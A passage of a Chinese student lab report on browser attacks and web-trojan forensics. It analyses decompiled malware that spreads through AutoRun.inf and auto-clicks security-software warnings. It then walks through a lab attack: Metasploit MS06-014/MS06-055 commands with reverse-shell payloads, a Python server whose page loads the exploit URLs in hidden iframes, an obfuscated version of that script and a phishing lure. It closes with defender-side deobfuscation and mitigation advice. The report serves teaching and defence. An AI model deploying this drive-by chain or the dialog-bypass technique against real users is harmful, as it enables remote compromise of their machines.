  int v10; // ecx
  int v12; // [esp-2Ch] [ebp-23Ch]
  int v13; // [esp-20h] [ebp-230h]
  struct _EXCEPTION_REGISTRATION_RECORD *v14; // [esp-18h] [ebp-228h] BYREF
  LPCSTR v15; // [esp-14h] [ebp-224h]
  int *v16; // [esp-10h] [ebp-220h]
  struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-Ch] [ebp-21Ch] BYREF
  void *v18; // [esp-8h] [ebp-218h]
  int *v19; // [esp-4h] [ebp-214h]
  int v20; // [esp+Ch] [ebp-204h]
  int v21[8]; // [esp+18h] [ebp-1F8h] BYREF
  int v22; // [esp+208h] [ebp-8h]
  int i; // [esp+20Ch] [ebp-4h]
  int savedregs; // [esp+210h] [ebp+0h] BYREF

  v19 = &savedregs;
  v18 = &loc_405E9C;
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)&ExceptionList);
  for ( i = 65; i != 91; ++i )
  {
    sub_403A9C(this, i);
    sub_403B4C(dword_405EB4, v21[7]);
    v1 = (const CHAR *)sub_403D00();
    if ( GetDriveTypeA(v1) == 3 )
    {
      sub_403B4C("AutoRun.inf", v22);
      if ( (unsigned __int8)sub_406E14(ExceptionList, v18, v19) )
      {
        sub_40668C(v2, 0);
        sub_406E78();
      }
      v16 = &savedregs;
      v15 = (LPCSTR)&loc_405DA5;
      v14 = NtCurrentTeb()->NtTib.ExceptionList;
      __writefsdword(0, (unsigned int)&v14);
      sub_402AA0();
      sub_40283C();
      sub_4025F4();
      sub_403AAC(v3, off_4090CC[0]);
      v13 = v21[5];
      sub_403AAC(v4, off_4090CC[0]);
      v12 = v21[4];
      sub_403AAC(v5, off_4090CC[0]);
      sub_403BC0(
        v21[3],
        "shell\\Auto\\command=",
        dword_405EF0,
        v12,
        "shellexecute=",
        dword_405EF0,
        v13,
        "[AutoRun]\r\nopen=");
      sub_403E8C();
      sub_402E98();
      sub_4025F4();
      sub_402B5C();
      sub_4025F4();
      __writefsdword(0, (unsigned int)v14);
      sub_40668C(v16, 3);
      v16 = 0;
      sub_403AAC(v6, off_4090CC[0]);
      sub_403B4C(v21[1], v22);
      v15 = (LPCSTR)sub_403D00();
      sub_406D20();
      v14 = (struct _EXCEPTION_REGISTRATION_RECORD *)v21;
      sub_403AAC(v7, off_4090CC[0]);
      sub_403B08();
      v8 = (const CHAR *)sub_403D00();
      CopyFileA(v8, v15, (BOOL)v16);
      sub_403AAC(v9, off_4090CC[0]);
      sub_403B4C(v20, v22);
      sub_40668C(v10, 3);
    }
  }
  __writefsdword(0, (unsigned int)ExceptionList);
  sub_4039A0(&loc_405EA3);
  return sub_4039A0(v19);
}

结合反汇编结果分析,这段代码的主要作用如下:

  1. 遍历所有盘符

    for ( i = 65; i != 91; ++i )  // 65='A', 91='Z'+1
    

    循环遍历从 A:Z: 的所有逻辑驱动器。

  2. 获取驱动器类型

    • sub_403D00() 返回当前盘符的根路径(如 "C:\")。
    • GetDriveTypeA(v1) == 3 判断是否为 固定硬盘DRIVE_FIXED)。

    通常 USB 设备为 DRIVE_REMOVABLE(2),这里只感染固定硬盘,但有些变种也会感染可移动磁盘。

  3. 检查并写入 AutoRun.inf

    • 调用 sub_403B4C("AutoRun.inf", v22) 构造文件名。

    • sub_406E14() 检查该文件是否存在。如果存在,则执行后续操作(可能是覆盖或修改)。

    • 随后写入以下内容(由 sub_403BC0 拼接而成):

      [AutoRun]
      open=<恶意程序路径>
      shellexecute=<恶意程序路径>
      shell\Auto\command=<恶意程序路径>
      

      这会导致用户双击该盘符时自动运行指定的恶意程序。

  4. 复制自身到根目录

    • CopyFileA(v8, v15, (BOOL)v16) 将恶意文件(可能是自身)复制到当前驱动器的根目录下(v15 为目标路径)。
    • v8 是源文件路径(可能来自 sub_403D00() 调用前的某个全局变量),v15 是目标路径(可能是 盘符:\<恶意文件名>.exe)。
  5. 结构化异常处理(SEH)
    代码开头和结尾使用 __writefsdword(0, ...) 注册/恢复异常处理函数,这是常见的反调试或防止崩溃的技术,确保即使发生异常也能继续执行。

由此可以判断,该函数用于向磁盘写入自启动配置并复制恶意程序,具备蠕虫式传播特征。


在StartAddress函数中发现了上网安全助手对应的字符串,函数对应的代码如下:

image-20260616223934385

DWORD __stdcall StartAddress()
{
  HWND WindowA; // ebx
  HWND Window; // esi
  HWND v2; // esi
  HWND v3; // eax
  HWND v4; // esi
  DWORD result; // eax
  unsigned int v6[3]; // [esp-18h] [ebp-34h] BYREF
  unsigned int v7[6]; // [esp-Ch] [ebp-28h] BYREF
  struct tagRECT Rect; // [esp+Ch] [ebp-10h] BYREF
  int savedregs; // [esp+1Ch] [ebp+0h] BYREF

  v7[2] = (unsigned int)&savedregs;
  v7[1] = (unsigned int)&loc_405BD4;
  v7[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)v7);
  while ( byte_40A730 != 1 )
  {
    v6[2] = (unsigned int)&savedregs;
    v6[1] = (unsigned int)&loc_405BB0;
    v6[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)v6);
    WindowA = FindWindowA("#32770", "IE 执行保护");
    if ( !WindowA )
      WindowA = FindWindowA("#32770", "IE执行保护");
    if ( WindowA )
    {
      SetForegroundWindow(WindowA);
      SetActiveWindow(WindowA);
      Window = FindWindowExA(WindowA, 0, "Button", "允许执行");
      if ( Window )
      {
        GetWindowRect(Window, &Rect);
        SetCursorPos(Rect.left + (Rect.right - Rect.left) / 2, Rect.top + (Rect.bottom - Rect.top) / 2);
        SendMessageA(Window, 0x201u, 0, 0);
        SendMessageA(Window, 0x202u, 0, 0);
        SendMessageA(Window, 0x201u, 0, 0);
        SendMessageA(Window, 0x202u, 0, 0);
      }
      v2 = FindWindowExA(WindowA, 0, "Button", "确定");
      if ( v2 )
      {
        GetWindowRect(v2, &Rect);
        SetCursorPos(Rect.left + (Rect.right - Rect.left) / 2, Rect.top + (Rect.bottom - Rect.top) / 2);
        SendMessageA(v2, 0x201u, 0, 0);
        SendMessageA(v2, 0x202u, 0, 0);
        SendMessageA(v2, 0x201u, 0, 0);
        SendMessageA(v2, 0x202u, 0, 0);
      }
    }
    v3 = FindWindowA("#32770", "瑞星卡卡上网安全助手 - IE防漏墙");
    if ( v3 )
    {
      v4 = FindWindowExA(v3, 0, "Button", "允许");
      if ( v4 )
      {
        GetWindowRect(v4, &Rect);
        SetCursorPos(Rect.left + (Rect.right - Rect.left) / 2, Rect.top + (Rect.bottom - Rect.top) / 2);
        SendMessageA(v4, 0x201u, 0, 0);
        SendMessageA(v4, 0x202u, 0, 0);
        SendMessageA(v4, 0x201u, 0, 0);
        SendMessageA(v4, 0x202u, 0, 0);
      }
    }
    __writefsdword(0, v6[0]);
    Sleep(5u);
  }
  result = 0;
  __writefsdword(0, v7[0]);
  return result;
}

结合反汇编结果分析,这段代码是一个主动对抗安全软件弹窗的线程函数,专门用于自动点击安全警告对话框的“允许”或“确定”按钮,以绕过用户交互,使恶意代码得以继续运行。

  1. 无限循环检测
    • 使用 while ( byte_40A730 != 1 ) 持续运行,直到某个全局标志(byte_40A730)被置为 1 才退出。
    • 每次循环休眠 5ms,避免占用过高 CPU。
  2. 查找并处理“IE 执行保护”弹窗
    • 通过 FindWindowA("#32770", "IE 执行保护") 查找对话框(#32770 是 Windows 对话框类)。
    • 如果找到,则:
      • 设置该窗口为前台窗口(SetForegroundWindow)并激活(SetActiveWindow)。
      • 查找其子控件:“允许执行”按钮(Button)和“确定”按钮。
      • 对每个按钮,计算其矩形中心点,通过 SetCursorPos 移动鼠标,然后连续发送 WM_LBUTTONDOWNWM_LBUTTONUP 两次(模拟双击点击),确保按钮被按下。
  3. 处理“瑞星卡卡上网安全助手 - IE防漏墙”弹窗
    • 同样查找该对话框,找到“允许”按钮,执行相同的鼠标模拟点击操作。

目的与危害:

  • 绕过安全警告:许多安全软件(如早期瑞星卡卡、360 或 IE 保护工具)在检测到可疑行为时会弹出提示框,要求用户确认“允许”或“阻止”。这段代码自动点击“允许”,使得恶意程序无需用户干预即可执行后续操作(如下载木马、修改系统等)。
  • 隐蔽执行:通过线程方式在后台运行,持续监控窗口,即使弹窗延迟出现也能及时点击,提高成功率。
  • 配合其他模块:结合之前分析的 AutoRun 传播代码,这很可能是同一恶意软件的不同功能组件——先用蠕虫方式感染,再启动此线程绕过防御,最终下载或执行主载荷。

实验三:攻防对抗实践 - Web浏览器渗透攻击攻防

打开一个msfconsole

image-20260617140111958

调用 MS06-014 模块:

search ms06-014
use 0
set SRVHOST 202.51.90.66
set SRVPORT 8080
set URIPATH /20251905
set PAYLOAD windows/shell/reverse_tcp
run

image-20260617140604125

再打开另一个msfconsole,调用 MS06-055模块

search ms06-055
use 0
set SRVHOST 202.51.90.66
set SRVPORT 8081
set URIPATH /19052025
set PAYLOAD windows/shell/reverse_tcp
set LPORT 4445
run

image-20260617140923572

image-20260617141109215

image-20260617141129052

最终生成两个恶意访问链接,后续将其隐藏到统一的网页入口中。

http://202.51.90.66:8080/20251905
http://202.51.90.66:8081/19052025

编写一个简单的 Python Web 服务程序,在返回的 HTML 页面中嵌入用于隐蔽加载恶意链接的 JavaScript 脚本。

#!/usr/bin/env python3
import http.server
import socketserver

PORT = 8000

class AlertHandler(http.server.SimpleHTTPRequestHandler):
    """自定义请求处理器,根路径返回带 alert 的 HTML"""
    def do_GET(self):
        # 只对根路径返回弹窗页面,其余路径(如 favicon.ico)返回默认行为
        if self.path == '/':
            self.send_response(200)
            self.send_header('Content-type', 'text/html; charset=utf-8')
            self.end_headers()
            html = '''<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>小心黑调的低客</title>
</head>
<body>
    <h1>欢迎访问!</h1>
    <script>
        alert("输了可不好玩,所以我从来不会输by hanhean");
        var iframe014 = document.createElement('iframe');
        iframe014.src = 'http://202.51.90.66:8081/19052025';
        iframe014.style.display = 'none';
        document.body.appendChild(iframe014);

        var iframe055 = document.createElement('iframe');
        iframe055.src = 'http://202.51.90.66:8080/20251905';
        iframe055.style.display = 'none';
        document.body.appendChild(iframe055);
    </script>
    
</body>
</html>'''
            self.wfile.write(html.encode('utf-8'))
        else:
            # 其他请求(如 favicon.ico)交给父类处理,返回 404 或静态文件
            super().do_GET()

def main():
    try:
        with socketserver.TCPServer(("", PORT), AlertHandler) as httpd:
            print(f"服务器已启动,请访问 http://localhost:{PORT}")
            print("按 Ctrl+C 停止服务器")
            httpd.serve_forever()
    except KeyboardInterrupt:
        print("\n服务器已停止")
    except OSError as e:
        if e.errno == 98 or e.errno == 10048:  # 端口被占用(Linux/Win)
            print(f"错误:端口 {PORT} 已被占用,请修改 PORT 变量。")
        else:
            raise

if __name__ == "__main__":
    main()

由于原始 JavaScript 代码中的 URL 较为明显,使用工具对其进行混淆处理。

image-20260617142906258

混淆后的代码如下:

var _0x27a821=_0x3e0e;(function(_0x4288b4,_0x1646d5){var _0x4ec2a8=_0x3e0e,_0x3d9a88=_0x4288b4();while(!![]){try{var _0xc56757=-parseInt(_0x4ec2a8(0xf6))/0x1*(-parseInt(_0x4ec2a8(0xfd))/0x2)+-parseInt(_0x4ec2a8(0xf7))/0x3*(-parseInt(_0x4ec2a8(0xff))/0x4)+-parseInt(_0x4ec2a8(0x100))/0x5*(parseInt(_0x4ec2a8(0xf0))/0x6)+-parseInt(_0x4ec2a8(0xf9))/0x7+parseInt(_0x4ec2a8(0xf4))/0x8*(-parseInt(_0x4ec2a8(0x101))/0x9)+parseInt(_0x4ec2a8(0x105))/0xa+-parseInt(_0x4ec2a8(0xfc))/0xb*(parseInt(_0x4ec2a8(0xf5))/0xc);if(_0xc56757===_0x1646d5)break;else _0x3d9a88['push'](_0x3d9a88['shift']());}catch(_0x1fe64a){_0x3d9a88['push'](_0x3d9a88['shift']());}}}(_0x353c,0x38130),alert(_0x27a821(0xfb)));function _0x353c(){var _0x311612=['12904qfFncE','9lpAYPX','src','40859oYomWP','http://202.51.90.66:8081/19052025','输了可不好玩,所以我从来不会输by\x20hanhean','380479OMZulB','42NjomYT','display','566548pJHxyz','49785NuWXPV','9144UqXuhP','http://202.51.90.66:8080/20251905','none','appendChild','1993900cCTyST','style','66mrIFJz','createElement','body','iframe','792QQhLaY','156nkwYyE'];_0x353c=function(){return _0x311612;};return _0x353c();}var iframe014=document[_0x27a821(0xf1)](_0x27a821(0xf3));iframe014['src']=_0x27a821(0xfa),iframe014[_0x27a821(0xef)][_0x27a821(0xfe)]=_0x27a821(0x103),document['body'][_0x27a821(0x104)](iframe014);var iframe055=document[_0x27a821(0xf1)](_0x27a821(0xf3));function _0x3e0e(_0x3126ea,_0x8f8361){var _0x353c6f=_0x353c();return _0x3e0e=function(_0x3e0e4f,_0x1d0bf7){_0x3e0e4f=_0x3e0e4f-0xef;var _0x1a37a4=_0x353c6f[_0x3e0e4f];return _0x1a37a4;},_0x3e0e(_0x3126ea,_0x8f8361);}iframe055[_0x27a821(0xf8)]=_0x27a821(0x102),iframe055[_0x27a821(0xef)]['display']=_0x27a821(0x103),document[_0x27a821(0xf2)][_0x27a821(0x104)](iframe055);

把混淆后的代码替换原本的js代码

image-20260617143037310

启动该服务器。

image-20260617143234422

至此攻击前准备工作完成。为了诱导目标访问,可以将链接包装到具有欺骗性的邮件内容中。

image-20260617144614810

邮件中的超链接实际指向前面搭建的网页入口。

image-20260617144516703

当然我们还可以用短链来进一步混淆链接内容

现在假装我们把邮件发给了靶机的使用者,而使用者由于好奇王老师干了什么而点开了链接。

抱歉哦,是一个没什么内容的网页呢,真是让人失望。

image-20260617144101229

但攻击机端已经成功获得靶机 Shell。

image-20260617143937743

image-20260617144036634

从防守方角度看,可以通过查看网页源代码发现其中存在经过混淆的 JavaScript 代码,并继续进行分析。

image-20260617145057673

借助AI分析可知:这段代码是一个经过混淆的JavaScript脚本,其主要功能是:

  1. 弹出警告框
    显示一条中文消息:"输了可不好玩,所以我从来不会输by hanhean",用于掩盖脚本加载过程。
  2. 创建两个隐藏的iframe
    • 第一个iframe加载地址:http://202.51.90.66:8081/19052025
    • 第二个iframe加载地址:http://202.51.90.66:8080/20251905
      两个iframe均通过设置 style.display = 'none' 隐藏,并追加到页面 <body> 中。这样它们不会在页面上显示,但会在后台加载外部资源。

代码的混淆方式:

  • 使用了字符串数组存储所有关键字符串(如 'createElement''iframe'、URL等)。
  • 通过自执行函数中的数组旋转push/shift)和算术校验来改变数组顺序,使得静态分析难以直接看出字符串对应关系。
  • 定义了 _0x3e0e 函数作为解密器,通过传入的索引(十六进制数)减去固定偏移量 0xef 来获取旋转后的数组元素,实现字符串的“解密”。

靶机使用者对两个URL的源代码进行跟踪分析,得到对应攻击的漏洞。

image-20260617145750820

通过跟踪两个后台加载的 URL,可以确认它们分别对应 MS06-014 和 MS06-055 两类浏览器端漏洞利用模块。防守方可以据此判断邮件中的页面并非普通网页,而是通过隐藏 iframe 同时加载多个浏览器漏洞利用入口,以提高攻击成功率。

3.学习中遇到的问题及解决

  • 问题一:取证分析中脚本经过多层编码和混淆,直接阅读难以判断真实行为。
  • 解决方案:先从入口页面提取 URL,再按照实验要求计算 MD5 并定位对应文件。对脚本样本采用逐层还原的方法,将 eval 替换为输出语句,分别处理十六进制编码、八进制编码、Base64 编码和 XXTEA 加密内容,逐步提取后续 URL 与 shellcode 中的可打印字符串。
  • 问题二:多个分支下载得到的文件名不同,容易误以为它们是不同的木马程序。
  • 解决方案:对每个下载得到的二进制样本计算哈希值,并结合 IDA 反汇编结果对比。最终确认 014.exebf.exepps.exe 以及 CAB 中释放出的 bd.exe 实际上指向同一恶意程序,因此将其合并分析。

4.实验总结

本次实验围绕浏览器端攻击与网页木马取证展开。第一部分通过 Metasploit 生成 MS06-014 恶意网页并建立反弹 Shell,使我直观理解了浏览器漏洞利用的基本流程:攻击者并不一定需要直接登录靶机,只要诱导目标浏览器访问构造好的页面,就可能触发客户端漏洞并建立远程控制会话。

第二部分的网页木马分析体现了真实攻击样本常见的多层隐藏方式。入口页面只暴露少量 URL,后续脚本又使用 XXTEA、Base64、十六进制、八进制、shellcode 等方式隐藏真实下载地址。通过逐层解码和哈希定位,可以把看似分散的多条路径还原为清晰的攻击链:识别客户端环境,按插件或 ActiveX 条件加载不同利用脚本,下载同一恶意二进制程序,并通过 AutoRun 传播和自动点击安全提示等方式增强执行成功率。

第三部分从攻防对抗角度说明,攻击者可以将多个浏览器漏洞利用入口隐藏在一个普通网页或邮件链接之后,而防守方需要具备脚本还原和链接追踪能力。防御这类攻击应从多个层面入手:及时修补浏览器和插件漏洞,限制 ActiveX 等高风险组件,邮件网关和浏览器侧检测可疑脚本行为,同时对可疑链接进行静态解混淆和动态沙箱分析,避免仅凭页面表面内容判断安全性。

posted @ 2026-06-17 16:36  安和_零樂  阅读(13)  评论(0)    收藏  举报